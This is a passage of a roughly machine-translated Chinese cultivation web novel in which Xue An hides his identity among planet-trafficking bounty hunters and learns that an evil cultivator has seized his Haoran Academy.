    "Can you show up for a while?" Shi Yang asked.


    There was a moment of silence in the Xingzhou. After a while, the space in front of the Xingzhou gradually rippled, and then a young man in white appeared.


    The five senses of this young man seemed to be hidden in a cloud of mist, but despite this, he was still handsome, especially his eyes were as gentle as two flawless beautiful jade.


    The whole person stood there casually, but it gave people a feeling of spring breeze.


    Shi Yang''s eyes couldn''t help but a flash of surprise.


    He never expected that the other party would be such a young teenager.


    Although it is very unreliable to estimate the age of a practitioner from his appearance, no matter how he pretends, it is always different from the real one.


    The feeling of this young man is so natural.


    Shi Yang suppressed the surprise in his heart, then smiled and arched his hands: "I really didn''t expect your Excellency to be so young. As a hero, he was disrespectful and disrespectful!"


    I believe everyone has guessed the identity of the person here, yes, it is Xue An!


    After he entered the depths of the star sea, he directly locked the space-time coordinates here with his vast divine mind, then passed through the void and flew over.


    Unexpectedly, it happened to be such a coincidence that Shi Yang and others happened to meet At the same time, Shi Yang''s men also walked down the star boat and came into the void.


    Xue An didn''t say a word, but glanced at these people faintly, the brilliance in his eyes flashed slightly, and finally his gaze stayed on Shi Yang.


    "You just talked about cooperation, what is the cooperation method?"


    "It''s very simple. Since your Excellency is here, I must be here for Haoran Academy!" Shi Yang said with a smile.


    Xue An''s expression moved slightly, and immediately nodded, "Yes!"


    "It just so happens that we are also here for Haoran Academy. When it comes to this, we don''t have to hide it. We came as a group to find out Xue An''s whereabouts through Haoran Academy. You should also have this idea!"


    Shi Yang felt that he was just a planner, how could this little head be so easy to use, and when he made a call, he would bluff the opposite boy!


    really!


    Xue An was startled slightly, and even though he was not smiling, he said, "So what?"

 Chapter 1970： I 7 you 3 close the door and hit the dog

    "Hehe, since everyone is here with the same goal, the matter is simple. This Haoran Academy was founded by Xue An himself. I don��t know what its strength is. So to be on the safe side, we might as well join in. Together, we will deal with it together, and after it''s done, we will be rewarded with thirty or seven points. What do you think?"


    After that, Shi Yang looked at Xue An with staring eyes.


    Xue An smiled indifferently, "It sounds good, but the question is how to divide these three or seven points?"


    "Is it seven and you three?" Xue An said lightly.


    Xue An''s words made Shi Yang''s eyes flashed with yin and prey.


    The men behind him were even more angry.


    But at this time, Yang was obviously very deep in the city, and the strange color was quickly covered up, and then chuckled: "My friend, there are so many people here, but you only have one but 70%. This is too greedy. Well, unless..."


    "Unless what?"


    "Unless you are strong enough to beat us, otherwise..." Shi Yang didn''t finish his words, but the meaning was already obvious.


    But as soon as he finished speaking, Xue An suddenly smiled, and his eyes burst into glory.


    A powerful momentum rose into the sky from him. Under the pressure, Shi Yang and his men couldn''t help but step back a few steps, and then a look of horror appeared on their faces.


    "Is this strength enough?" Xue An said lightly.


    Shiyang''s face was dignified, and he whispered, "Half-step fairy king?"


    Xue An nodded.


    He deliberately suppressed his strength to release his aura.


    The reason is simple, he doesn''t want to reveal his identity now, and he also wants to know where these guys got the news.


    Is there a traitor in Haoran Academy?


    So he intends to conceal his identity temporarily, and he will wait until he enters this planet.


    at the same time.


    Shi Yang took a deep breath and suppressed the shock in his heart.


    He never expected that the "plain" white-clothed boy on the opposite side would actually be a strong half-step fairy king.


    Don''t think that the half-step immortal king is inconspicuous, this strength is considered a first-class master among the heavens.


    Among the bounty hunters, it is even the top.


    But soon, Shi Yang recovered, then clasped his fists, and said, "Since your Excellency is a master of the Half-Step Immortal King, it is only natural for you to have 70%!"


    Hearing this was a commotion among his subordinates, but under his usual power, no one dared to speak up against him, so they could only look at him with puzzled faces.


    Xue An couldn''t help but smile lightly, and then took a deep look at Shi Yang.


    "Well, if that''s the case, then it''s settled!"


    "Okay, I still have something to deal with. Let''s go to this planet together later, how about?"


    "no problem!"


    The negotiation was finalized, and Shi Yang led everyone back to the star boat.


    As soon as he entered the star boat, his men exploded the pot.


    "Boss, why are you doing this? The news we tried so hard to get, seeing that it will be successful soon, why should we let that kid 70%?" someone yelled angrily.


    "Yes, this is totally unreasonable, even if this kid is a strong half-step Immortal King, what can it do? So many of us can still be afraid that he will not succeed?" Someone roared outrageously.


    Everyone was puzzled.


    Shi Yang was not in a hurry, until they were all talking about it, and then said slowly: "Have you finished talking?"


    None of his men said anything.


    "You guys are short-sighted. Do you think I really want to reward him with that 70%?"


    This group of people was shocked, "Then what do you mean..."


    Shi Yang sneered, "I just used him in this way. After all, if there is no delicious bait, how can the fish get the bait?"


    Speaking of this, Shi Yang''s eyes showed a ruthless look.


    The wishful thinking of real-time yang has long been settled.


    The most important thing now is to extract Xue An''s whereabouts from Haoran Academy. There must be no trouble at this moment, otherwise, once the wind is heard, all previous efforts will be abandoned.


    And this young man looked like a rookie, if he could fool him, wouldn''t his group of people have picked up a master of charging for nothing?


    As for the so-called seven-thirds, it is just a cover.


    From the beginning to the end, he didn''t intend to give Xue An a single share.


    This is his cruelty.


    His team didn''t need to listen to them, they couldn''t help showing their joy, and then there was another flattery.


    "Master Yang really has a brilliant plan!"


    "Now this kid can''t escape Yang Ye''s palm with his wings!"


    Shi Yang couldn''t help but said triumphantly: "That is, don''t look at who I am?"


    But he didn''t know that Xue An had heard all of these words.


    Although his starship is arranged with layers of formations to prevent the invasion of divine mind.


    But these formations were like a sieve in Xue An''s eyes, there were loopholes everywhere, so he took the divine mind into it without any effort.


    now.


    After hearing Shi Yang''s words, Xue An couldn''t help but smile faintly, but did not speak, but a sharp light flashed in his eyes.


    Soon, Shi Yang and the others put away their star boats, and Xue An was already waiting in the void ahead.


    Shi Yang greeted him with a smile on his face, "My friend, I don''t know your name yet, dare you ask your name?"


    "My last name is Ling, my name is Zun! Just call my commander!"


    "My father?"


    "Yes!"


    Shi Yang always felt that the name was a little weird, but of course he didn''t understand these names from China, so he nodded and said, "If that''s the case, then let me go with you!


    At this moment, they were very close to the light blue planet, so they were fully urged, but they came to the sky in the blink of an eye.


    At the same time, because of their aura, ripples suddenly appeared on the pale blue planet, and blue light began to flicker.


    This is a sign that the protective array is about to turn on But when Shiyang and the others hadn��t noticed it, Xue An��s eyes flashed, and then the cyan light that had already gathered dissipated. After that, the protective array even stagnated.


    Shi Yang and the others didn''t suspect that he had him, they thought that the planet did not have a large array of protection, so they flew into the atmosphere of this planet.


    When the last person entered, Xue An pinched a seal in his hand, and the sky shook slightly, and then the hole in the sky instantly recovered.


    Shi Yang and the others didn''t notice all this, but flew forward excitedly.


    at the same time.


    On a high mountain on this planet.


    An old man who was meditating suddenly opened his eyes.


    "Master, what''s the matter?" The disciple on the side quickly stepped forward and asked.


    "Strange, I just clearly felt a slight disturbance in the defensive formation, how come it suddenly disappeared?" The old man frowned and murmured.

 Chapter 1971： Dare to ask you what cultivation base?

    "Damn, this is really weird. It seems that the planet''s aura is not weak from the outside, but why is it so scarce inside?" Yunyang muttered with a daunting expression.


    This is already the fifth time he has said this, because since they entered this world, they were shocked to find that the lack of aura here is terrible.


    Not only that, they flew over more than a dozen cities one after another, and still didn''t even see a practitioner.


    How could this not make him feel embarrassed.


    Xue Ancheng smiled and said nothing, but Yunyang was a little uncomfortable, turning his head to ask.


    "Brother Lingzun, what do you think is going on? Why do I think there is something strange in it?"


    Xue An said lightly: "What''s the strange thing? This planet is in the sea of ??stars, but it has been unknown. Doesn''t this mean that this is a spiritual jedi? What''s so strange?"


    "It stands to reason, but Xue An is the former Red Lotus Immortal Venerable. Why would he choose to establish a sect on such a Jedi? Isn''t this a bald man buying combs and wasting his efforts?" Yunyang frowned Said.


    Xue An stopped, took a look at him, and suddenly asked: "Dare to ask your current cultivation level?"


    "I... I can''t compare with you naturally, I''m just Ronaldo now, hehe!" Yunyang said with some guilty conscience.


    In fact, even he, a big Luo, is a mere opportunistic, using many shameful means to get it.


    Of course, he naturally couldn''t talk to Xue An with these words.


    Xue An nodded, "It turns out that this is the case. I just thought that you have also proven Dao Immortal Venerable, otherwise, how could you guess what a powerful Immortal Venerable did?"


    Xue An''s words made Yunyang''s face turn blue and red, which was very embarrassing, but he could not find a reason to refute.


    Because what Xue An said is indeed correct, among the heavens, a difference in strength by one level already means a world of difference.


    What''s more, there is still an unimaginable distance from Xianzun, such a gap is enough to make it into two completely different creatures.


    So there is an unbreakable experience among the heavens, that is, it is ridiculous to use one''s own experience to speculate on someone who is far higher than oneself.


    Yunyang obediently closed his mouth.


    Xue An looked up at the distant sky and said lightly: "I can feel that there is a huge city ahead, and there should be something we want to find there."


    After all, Xue An stepped out and flew forward first.


    Yunyang and others were left looking at each other on the ground.


    "Master Yang, what shall we do?"


    "Nonsense, of course I have followed!"


    Having said that, Yunyang also hurriedly chased him up, but when he saw Xue An''s back, there was a flicker of gloomy bird in his eyes.


    really.


    But in a moment, a magnificent city appeared on the wilderness in front.


    This city occupies a very large area. Although it is far apart, you can still see the constant flow of people inside, and you can faintly hear the noise that comes from it. This also shows how prosperous the city is.


    The most important thing is that this city has no walls yet, and all the buildings are arranged according to a certain pattern, and the orderly order gives people a unique sense of beauty.


    Yunyang couldn''t help getting excited, "Tsk, is this city very prosperous? Even if you can''t find Haoran Academy now, you won''t lose sight of this indigenous city!"


    His subordinates were even more greedy and nodded frequently.


    Xue An''s eyes flashed after hearing this.


    Because he knows why these people are so excited.


    Among the heavens, an undeveloped indigenous planet with a large population at the same time means vast wealth.


    Because there are many evil cultivators who often need a large amount of souls and grievances when practicing, but they dare not touch the planets guarded by sects, so they will look for planets that lack spiritual power but are too populous .


    There will be business if there is demand. Under the urging of this huge amount of profit, many bounty hunters have started this black-hearted business. Once they find a suitable planet, they will secretly seal up the coordinates, hide their tracks, and then sell them. To wicked monks in need.


    Not only that, but there are also many decent monks who are honest and decent and will have a lot of shameful needs in private.


    For example, some people like to use creatures to forge swords, and some people simply take killing for pleasure.


    And in order to satisfy this perverted desire, they will also secretly purchase indigenous planets in private.


    All this makes the price of an indigenous planet soar.


    Although all the major sects strictly prohibit this from happening, there are many sects secretly doing this kind of thing.


    After all, in the eyes of these sects, planets with no potential for cultivation are rubbish, and the natives above are even ants that can be bought and sold at will.


    Under the influence of these factors, the planet''s black market trading has been repeatedly banned, and it has become an appalling black industry chain.


    This was what Yunyang said just now.


    It is conceivable that if they were changed to other ordinary planets, what a miserable fate would be for these people.


    Xue An was murderous in his heart, but he was not in a hurry to start.


    Because to him, people like Yunyang are just ants that can be pinched to death at any time, so killing them like this is of no value at all.


    What he wanted to know was how these people knew where the planet was and who betrayed Haoran Academy.


    So he suppressed the killing intent in his heart, dropped to the ground with a sinking face, and then walked into the city.


    Yunyang and the others didn''t know that they had just walked around the ghost gate, and they also rushed to the ground and entered the city together.


    This is a city with a Chinese classical charm.


    Several clear rivers pass through the city The streets are lined with trees on both sides, the climate is pleasant, and it has the taste of the southern water town.


    Of course, Yunyang and others can''t feel this kind of atmosphere, all their attention is attracted by the pedestrians on the street.


    But seeing the crowds on the streets, and everyone''s face is full of wealth and ease.


    The fair-skinned and beautiful women walked across the street in groups with their beautiful hair buns, and the teenagers in dazzling blue shirts chanted poems and walked through the crowd shaking their heads.


    Such a scene is like a picture of the customs and customs of the south of China in ancient China, which makes people intoxicated.


    Yunyang was trembling with excitement, and he kept whispering in his mouth.


    "It''s developed, it''s developed now! Damn, these beautiful little ladies alone are enough to sell for a good price, not to mention that the indigenous people here have developed their own unique civilizations, which is even more rare. What a superb quality!"


    He couldn''t help but began to think of the generous rewards after selling the planet, and he didn''t realize that the pedestrians on the road were also looking at them.

 Chapter 1972： Power of speech

    Because the costumes of these people are too weird, and each of them is as fierce and evil, which is daunting.


    In contrast, Xue An, dressed in white, is more pleasing to the eye.


    Especially the gentle temperament that radiated from him, it made many women passing by.


    The daring whisper whispered a few words with the female partner, and then let out a silver bell-like laugh.


    But more often, he took a peek at Xue An, and then ran away with red cheeks.


    Xue An smiled faintly, and then said softly: "Let''s go, it''s the business to find Haoran College first."


    After all, Xue An took a step and walked forward.


    Xue An''s words awakened Yunyang from the beautiful imagination, then wiped the saliva from his mouth, and said in a deep voice: "Go!"


    They walked along with Xue An.


    But I don''t know if it was because of carelessness or other reasons. Yunyang and the others didn''t know at all. Just after they left, two teenagers in Tsing Yi suddenly appeared on the spot.


    The two looked in the direction where Yunyang and the others had left, their expressions very solemn.


    "The smell on these people is very wrong, there should be a big problem, you should report it to Sanniang, I will follow them behind!" An older teenager said in a deep voice.


    "Brother Ling, let me follow it up, you..." The other teenager was a little worried.


    "Stop talking nonsense, your ability is still far short!"


    After all, the young man walked a few steps forward, then merged into the crowd like a drop of water and disappeared.


    The teenager gritted his teeth secretly, then turned and left.


    Xue An walked in the forefront, strolling on the street like a stroll in a leisurely courtyard, and stopped from time to time to watch the heroes doing business in the street.


    He even applauds and applauds even when he sees the highlights.


    Yunyang and others who followed were speechless and bewildered.


    You are a dignified half-step fairy king, what big scene has you never seen, and you are so interested in some fist-fighting artists?


    Until Xue An cheered a little girl who stepped on a big tank, Yunyang finally couldn''t help it, and stepped forward and said: "Brother Dingzun, didn''t you say you are looking for Haoran Academy? Why do you think of these boring tricks? "


    "I''m not looking for it all the time." Xue An smiled innocently.


    "Find? Where do you find?" Yunyang looked suspicious.


    "Look, these people have unique skills. What if there are practitioners from Haoran Academy? So I have to identify them!" Xue An smiled happily.


    Yunyang almost didn''t come up with a breath, choking him coughing again and again, but he didn''t dare to have it. He could only helplessly say: "Then you found it now?"


    Xue An shook his head, "No, it seems that this Haoran Academy is very hidden, but I think you should be able to find it in front of you!"


    With that, Xue An turned around and continued to walk forward.


    As soon as he turned around, the smile on Yunyang''s face disappeared without a trace in an instant, replaced by a cold face and murderous intent.


    "Master Yang..." his men leaned forward and whispered.


    Yunyang waved his hand, motioned his subordinates not to speak, and then said lightly: "Follow him, I will see what tricks he can do!"


    Continue walking along this long street and after crossing a small curved bridge, Xue An and others came to a more prosperous place.


    The shops along the street here are all with red lights high, and from time to time there is the sound of silk and bamboo wind music and endless cheers.


    At the same time, there are all kinds of restaurants and restaurants flooding it, with the fragrance wafting out, the sound of arrogant **** and **** rang through the sky, making the whole street full of mundane smoke and fire.


    The eyes of Yunyang and the others kept aiming at the woman on the street, and the expressions on their faces became more wretched and excited.


    Xue An didn''t change his expression, and walked straight to the middle of Long Street. There was a magnificent teahouse beside the road.


    At this time, bursts of applause came from the tea house, the sound was so loud that it was almost overturned.


    Xue An raised his head and took a look at the teahouse, and then stepped inside.


    Yunyang and others followed.


    After entering the teahouse, but seeing the crowds of friends, all the people upstairs and downstairs looked at the high platform in the middle of the teahouse attentively.


    On the high platform, there is a desk horizontally, and behind the desk stands a pretty girl wearing a moon-white cheongsam.


    At the moment, this girl is telling stories about ancient times.


    I saw her telling the fascinating stories one by one with a cold and refined voice.


    The people who heard the whole teahouse were ecstatic.


    Xue An stood behind the crowd and watched quietly.


    Yunyang and the others did not urge, because at this moment they were also attracted by the **** the stage.


    You must know that although these people are not strong, they are somehow half-step Da Luo strong, but at this moment they are all deeply attracted by this girl.


    Especially Yunyang, the greed and excitement in his eyes almost overflowed.


    Because he can clearly feel that this girl''s temperament is so pure and flawless, and this kind of physique is simply suitable to be used as a furnace for evil cultivators.


    This also means that this girl is very valuable.


    But at this moment, I saw the girl��s voice suddenly changed, and the story in her mouth also came to a climax. Under this awkward plot, in front of the girl, a number of virtual images began to appear, and followed Her narration changed into various forms.


    Yunyang''s body was shocked, and then he said in amazement, "Say the law?"


    Xue An shook his head, "No, it should be the power of words."


    Nevertheless, Yunyang and others are still very excited.


    Because they walked all the way, all they heard and saw were ordinary people who had no spiritual power. Now they suddenly saw a girl who mastered the power of speech and spirit, and naturally it proved that they were not far from the Haoran Academy.


    "Damn, this little girl can pinch water out of her tenderness and she has the power to speak up, which is really salivating!" Yunyang''s men couldn''t help but start to move around.


    At this moment, Xue An said indifferently: "If you want to start a war, you can do it now."


    As soon as this remark came out, Yunyang glared at his group, and then smiled: "Brother Dadzun said and laughed. Naturally, my group of brothers will not be so short-sighted. After the people here disperse, let''s consider the longer ."


    Xue An was noncommittal, just watching the stage quietly.


    After a while, the voice of this girl suddenly became high-pitched, and it was full of murderous air. With her voice, countless swordsmen appeared around her, and black pressure enveloped the entire teahouse.


    The crowd exclaimed.


    At this moment, the girl suddenly slapped the eye-catching on the table, and said in a cold tone: "Foresee the future, and listen to the next time!"


    After all, she stood up and bowed to everyone in the audience.


    In a short time, the whole teahouse was shaken by the roar of the mountains and the tsunami.

 Chapter 1973： Haoran

    "Three girls, we will always support you!"


    "Three girls, you are the best!"


    The many men in the audience were going crazy, squeezing forward desperately in order to get closer to the three girls.


    The girl smiled and nodded gently, "Thank you!"


    After that, her eyes flowed, she glanced at Xue An lightly, and then turned around and left as if nothing had happened.


    But it was this look that made Yunyang and the others feel crisp.


    Yunyang walked directly behind with an itchy heart.


    Seeing this group of wolves and tigers, Xue An''s mouth showed a sneer full of sarcasm, and then walked to follow.


    After passing through the lobby of the tea house, after passing a door, you came to the alley behind the tea house.


    The girl walked in front, and Yunyang and others followed behind them anxiously.


    Because there are no outsiders here, Yunyang''s men naturally have no scruples, and they have become speechless.


    "Little lady, why are you walking so fast! Stop and play with your brother!"


    "Little lady, how old are you this year? How can you still show all kinds of visions? Are you doing tricks?"


    These people are extremely playful.


    The girl didn''t say a word, she didn''t even turn her head.


    She didn''t stop until she reached the middle of the alley.


    "Tsk tusk, are you finally willing to stop, come, let me fragrant uncle first!"


    With that said, one of Yunyang''s men rushed forward with a smile on his face.


    But at this moment, the girl suddenly turned around and shouted coldly: "Get out!"


    boom!


    An aura of righteousness blasted out this subordinate directly like steel.


    Unprepared, the man bleeds and fell to the ground in embarrassment.


    This time, the audience was shocked.


    Yunyang even shouted in a grimace: "The little girls are pretty amazing, but today you met a few brothers, just..."


    Before the words were over, I saw many young people in Tsing Yi appear at both ends of the alley.


    All of these people were holding sharp blades with grim faces, and walked forward silently.


    After I got closer, I saw the young brother Ling who had followed Yunyang and the others before standing up and bends and said, "Sanniang, these are the people I just said!"


    The girl coldly looked at Yunyang and the others, and said in a deep voice: "I see, you can withdraw!"


    Brother Ling retreated, and then stared at Yunyang and the others with cold eyes.


    A surging weather situation rose from the bodies of these young people, and then condensed into various illusions on their heads, and the oppressive Yunyang and others also changed slightly.


    "Who are you?" the girl suddenly asked coldly.


    Yunyang grinned a few times, and said pretentiously: "I really thought that these people could stop us? Tell you, our origins are far more terrifying than you think. If you know, we will kneel on the ground obediently now. I might spare you your life, otherwise..., hum!"


    As soon as these words came out, all of these teenagers were angry, and murderous auras surged like a tide.


    The girl was unmoved, "Oh? Is that amazing? Then what do you want to do in this city?"


    Yunyang just wanted to talk, Xue An''s voice came from his sea of ??knowledge.


    "If you still want to find Haoran Academy, just shut up!"


    Yunyang trembled all over, then obediently retreated to the side.


    At this time, Xue An separated the Yunyang people and stepped forward.


    His appearance caused a slight commotion in the field.


    A hint of surprise appeared in the girl''s eyes.


    When she was in the teahouse before, she noticed the boy in white on the high platform.


    Without him, Xue An, who was standing in the crowd, was too conspicuous.


    At that time, she didn''t care too much, thinking it might be the son of some big family.


    But he never expected that he would actually appear here, and belong to a group of guys who are not good at first sight.


    At this moment, Xue An smiled faintly, "It''s strange that you have the Ling Ling, but you are not from the academy, so who taught you this?"


    As soon as this statement came out, the girl was shocked and her eyes were full of horror.


    "Don''t look at me that way, I just happened to understand some inside information." Xue An smiled.


    The girl''s complexion gradually became serious, because the situation before her had obviously exceeded her expectations.


    "Don''t be afraid, I have no malice. If you feel that you can''t make a decision, you can let someone who teaches you the spirit to see me, there should be an unexpected gain." Xue An said with a smile at this time.


    The girl took a deep look at Xue An, and after a moment of indifference, she whispered: "I will take him to see the Master! You take care of the rest of the group."


    The girl said solemnly to Xue An again: "I hope you will do the best in the future. If there is a slight change, I will not be polite to you!"


    Xue An laughed blankly, "Okay, I must be honest."


    Yunyang and others were a little anxious when they heard this.


    Hearing this, it seems that the majesty is going to move away from the crowd alone. What if he gets into the Haoran Academy and knows the whereabouts of Xue An in advance.


    Don''t these people like yourself waste their efforts?


    Thinking of this, these people all rushed forward.


    "Brother Lingzun, are you going to leave us all behind?" Yunyang asked anxiously.


    This name also caused the girl''s eyes to gradually widen, and she looked at Xue An with an incredible face.


    Xue An smiled faintly, "Don''t worry, I will be back soon."


    What Yunyang wanted to say, Xue An''s voice exploded in his sea of ??knowledge, "The Haoran Academy can''t be dealt with by myself, so I will definitely come back to you when that time comes!"


    Hearing this, Yunyang thought for a while and found that it really made sense, so he took a half step back and said without a smile, "Then we are here to wait for the good news from Brother Lingzun!"


    Xue An smiled without saying a word, turned his head and said: "Girl, let''s go!"


    Only then did the girl wake up, and then she led the way and left straight away.


    Yunyang and the others were surrounded by these wolves and tigers. Although they were not afraid, they were still a little uncomfortable.


    His subordinates whispered: "Yang Ye, this man named Ling won''t run away by himself!"


    "Hmph, he is not that stupid yet. Without our help, he would never be able to deal with Haoran Academy alone. After all, that was the sect created by the original Red Lotus Immortal Venerable!" Yunyang was confident Said full.


    At this moment, Xue Anye had followed the young girl through this alley and turned into a complex street like a spider web.


    The girl seemed to deliberately test Xue An''s speed, her feet moving fast.


    But how could these little tricks be rare to live with Xue An, I saw him walking in the back like a stroll in a leisurely courtyard.


    at last.


    After turning countless turns, the girl stopped before a courtyard and said solemnly: "My grandfather is inside you go in! He should know you are coming!"


    Xue An smiled, "Thank you, I don''t know the girl''s name yet!"


    "My name is Ye, so don''t ask what I am called, because you are not a good person!"


    "Huh?" Xue An laughed blankly, "Why am I not a good person?"


    "Because..." A smile suddenly appeared on this Ye Sanjie''s face, and her eyes curved into crescent shapes.


    "What did those people call you just now? Don''t think I don''t know what your father-in-law means, and if I guessed it correctly, you shouldn''t be named Ling!"


    Xue An laughed, "What a clever girl, I can''t hide this from you, yes, I really don''t have the last name Ling, that name is purely for fun!"


    Sanjie Ye sipped, "Bah, if you take advantage of it, say take advantage of it, what a fun!"


    At this moment, an old and generous voice came from the courtyard.


    "Xiao''er, don''t be rude to distinguished guests!"

 Chapter 1974： Confucian School

    Ye Hong spit out her tongue playfully, and then whispered: "Yes!"


    At the same time, the courtyard door opened silently, and the old voice inside said: "Dear guest, please come in!"


    Xue An smiled slightly and walked inside.


    After entering the door, you are faced with an exquisite shadow wall on which a couplet is written in the pen and ink of dragons and phoenixes.


    The sky is healthy, and the gentleman strives for self-improvement.


    The topography is Kun, and the gentleman carries his virtues.


    Turning around the shadow wall is a small courtyard.


    A pomegranate tree was planted in the middle of the courtyard. A stone table was placed under the tree. Next to the table was a gray-haired old man. He was thinking hard about the chess game on the stone table. Even Xue An came in. Did not look up.


    Xue An did not speak either, but went straight to the table.


    The chess game on the stone table is an endgame, the black and white twins have been fighting to the last moment, and the white is already in danger.


    Xue An stood silently watching.


    After a while, the old man raised his head and smiled at Xue An, "Do you know chess?"


    "It''s okay, just understand a little!"


    With that said, a chess piece floated out of thin air in the white chess box on the table, and then lightly landed on the chessboard.


    When a child fell, the situation on the chessboard changed drastically.


    Baizi, who was still in precarious situation, instantly turned against the guest, and faintly formed a dragon, strangling the sunspot.


    Seeing this scene, the old man was shocked. After staring at the chessboard for a while, he raised his head and looked at Xue An with amazement. For a while, he didn''t know what to say.


    Xue An smiled faintly, and then said slowly: "I really want to know what is going on in this world, and even makes you need to hide in the dunya."


    Following the voice, Xue An''s eyes flashed with brilliance, and his whole body exuded awe-inspiring power.


    The old man was taken aback for a moment. Even if he thought of something, his excited whole person began to tremble.


    "You...you are..."


    Xue An nodded, "Yes, I am Xue An!"


    As soon as this remark came out, the old man Huo Cao started up and turned over the stone table in front of him, but he didn''t pay attention to it at all. He thumped and fell to his knees, knocked his head repeatedly, and said bitterly.


    "Ye Ming, the second-generation disciple of the academy, has met Master Patriarch!"


    Xue An accepted the worship calmly, and then said lightly: "Get up."


    Ye Ming stood up trembling, his face still full of excitement.


    "You are a second-generation disciple of the academy, who is your teacher?"


    "Master Huizu, the disciple''s teacher is Ouyang Xiaoman!"


    "Ouyang Xiaoman?" Xue An was startled slightly, and then smiled, "I didn''t expect that the little girl at the time was also a teacher!"


    "Then I ask you, you are originally a disciple of Haoran Academy, why do you hide here incognito?"


    At this moment, Ye Ming was simply frightened, and even felt like he was dreaming.


    Because he never expected that the ancestor who founded the academy by himself would suddenly appear in front of him.


    After hearing Xue An''s question, his tears fell sternly, and then he bowed to the ground again.


    "Master Patriarch, please save my mentor!"


    Xue An raised his eyebrows slightly, "What''s the matter? Don''t cry, let''s go into details!"


    "Yes!"


    Next, Ye Ming recounted what happened.


    It turned out that Xue An came to this planet unintentionally back then. At that time, the state of the planet was very bad and it was almost exhausted.


    The aborigines on the planet even attacked each other, bleeding thousands of miles at every turn, just like a **** on earth.


    Xue An was moved with compassion, and at the same time, he also established Haoran Academy to prove a conjecture in his heart, and transformed the Chinese Confucian classics into practice methods and taught them.


    This Ouyang Xiaoman worshipped under Xue Anmen at that time.


    This was his unintentional act, and he left shortly after founding the academy.


    Unexpectedly, this academy would carry forward the discipline Xue An left behind.


    Although this planet doesn''t have much aura, because this Confucian school doesn''t need a lot of aura, as long as you can cultivate a breath of righteousness in your chest, you can display all kinds of magical effects.


    So soon this Haoran Academy became the well-deserved No. 1 Immortal Sect in this world, the holy land in the minds of countless people.


    If it continued to develop in this way, it would have been a happy thing for everyone.


    Unexpectedly, things quickly changed.


    A foreign monk who accidentally landed on this planet fell into a coma at the gate of the college because of serious injuries.


    At that time, the people in the academy found out and hurried to treat him, and finally he got rid of the danger and turned the danger into peace.


    Speaking of this, Ye Ming said bitterly: "Master Patriarch, at that time, this monk called himself Jing Haomiao after waking up. He was a casual cultivator. This time he was in trouble because he got a treasure by chance. Chased by the enemy."


    "At that time, he knelt down on the ground crying, and kept saying that he would repay the great kindness of the college to him. We all believed it at the time, and even kindly put it under the door, but he never expected that this person was a man. People with human faces and beast hearts."


    "At that time, he worshipped Da Shanchang''s school with sweet words and began to practice the Confucian school you left behind. In the first few years, he had nothing to do with him, and because of his rapid progress, he soon became the first disciple of the academy. "


    "Until one day..." An angry fire flickered in Ye Ming''s eyes. "He suddenly took an attack and severely injured the unsuspecting Dashanchang, and then tied it up with several cave masters of the Trick Academy. , Seized the power of the academy."


    "We didn''t know until then that this Jing Haomiao was not a casual cultivator at all, but an evil cultivator!"


    Upon hearing this, Xue An raised his eyebrows slightly, "Xie Xiu?"


    "Yes! It''s an evil cultivator!" Ye Ming nodded heavily A cold light flashed in Xue An''s eyes.


    Since ancient times, there are righteous and evil, and the heavens are no exception.


    Although it shows that the decent monks of the heavens have the absolute upper hand, in fact these evil cultivations are like tarsus maggots, and they will never be eliminated.


    And under the indulgence of many sects deliberately or unintentionally, the power of evil cultivators over the years is growing.


    "Go on!" Xue An continued.


    "Yes! This Jing Haomiao visited Haoran Academy carefully designed by him in advance, in order to seize the few volumes of scripture you left behind, but under the great protection of Dashanchang and several cave masters, he He did not succeed, but because he had already held the seal of Haoran Academy in his hands, and under actual control of the Academy, he began to persecute the brothers in the Academy madly!"


    Speaking of this, Ye Ming had tears in his eyes, "My mentor was arrested by him at that time, but I escaped by chance, and then hid in this city, hiding my name and dare not reveal my identity! "

 Chapter 1975： Wicked monk

    As he said, Ye Ming repeatedly knocked his head towards Xue An, "But I don��t want to bring this thief to justice and save everyone, but I��m helpless, so I can only keep accumulating strength secretly. It��s pitiful for the heavens. Master Patriarch, you have actually returned, and there is finally hope for the Academy!"


    Speaking of the end, Ye Ming was already crying.


    Xue An was silent for a moment, and then whispered: "Get up, don''t worry, since I''m back, I will naturally seek justice for you!"


    "Yes!" Ye Ming stood up, wiped away the tears from his face, and then asked in awe and curiosity.


    "Master Patriarch, why did you suddenly appear here? Xiaoer said that there are also a group of wicked people who followed you. What is going on?"


    Xue An smiled faintly, "Those are just bounty hunters that I deliberately put in. As for why I found here..."


    "I look at this city with faint righteousness, so I came over."


    "Then what do you plan to do next? Are you going back to the academy directly?" Ye Ming asked expectantly.


    Xue An smiled, "The academy will naturally want to return, but don''t worry about it, after all...I still have something to do!"


    Ye Hong stood boringly outside the door, involuntarily recalling what happened today in his mind.


    She learned from her grandfather Ye Ming from an academy since she was a child, and her talents, coupled with hard work, gave her outstanding strength at a young age.


    And because of Ye Ming''s years of planning, she began to secretly develop influence in this city very early.


    In just a few years, she had a group of loyal followers, respected as Ye Sanniang.


    And the reason why she wanted to show her face in that teahouse, tell stories and talk about ancient times, was to cultivate the righteousness in her chest.


    This is also the uniqueness of the Confucian method founded by Xue An.


    Although there is no aura, it can accumulate power in this way.


    Today, Ye Hong performed in the teahouse as usual, but received a report from his subordinate Lingge, saying that a group of strange faces had broken into the city, and it seemed that the visitors should be unkind.


    So Ye Hong stayed in his heart, deliberately showing some strength, and she saw Yunyang and the others.


    At that time, she felt the strong fluctuations from Yunyang and others, which showed that their strength was absolutely extraordinary.


    But this was not what impressed Ye Hong the most.


    Her attention was attracted by Xue An.


    Especially in the alleys, when Xue An broke her origins with a single word, Ye Hao couldn''t help feeling full of shock at the time.


    In particular, she also noticed a strange phenomenon, that is, she didn''t seem to have the slightest resistance to this white-clothed boy, but had a faint urge to worship.


    This is why she wants to lead Xue An to see Grandpa.


    "Who are you?" Ye Xiao whispered softly, but a faint smile suddenly appeared at the corner of his mouth.


    Because she suddenly remembered what Yunyang and others called Xue An.


    My father...


    God knows what this guy thinks, so he can take advantage of others.


    At this moment, the courtyard door opened with a creak, and Ye Xiao was shocked, awake from the memory, and then stood up straight.


    At this time, Xue An and her grandfather Ye Ming walked out one after another, and they were chatting and laughing.


    Ye Ming''s face was almost full of smiles.


    Ye Hong couldn''t help being a little silly when he saw this.


    How is this going?


    Why is it that after going in for a while, grandpa not only sent it out in person, but also so happy?


    You know she hasn''t seen her grandpa smile so brilliantly in a long time.


    When she was in a daze, Xue An smiled at her.


    "Three girls, please take me back!"


    Ye Ming also said to her: "Xiao''er, quickly lead the ancestor... er, lead this distinguished guest back first, remember that his order is my order, don''t violate the slightest, understand?"


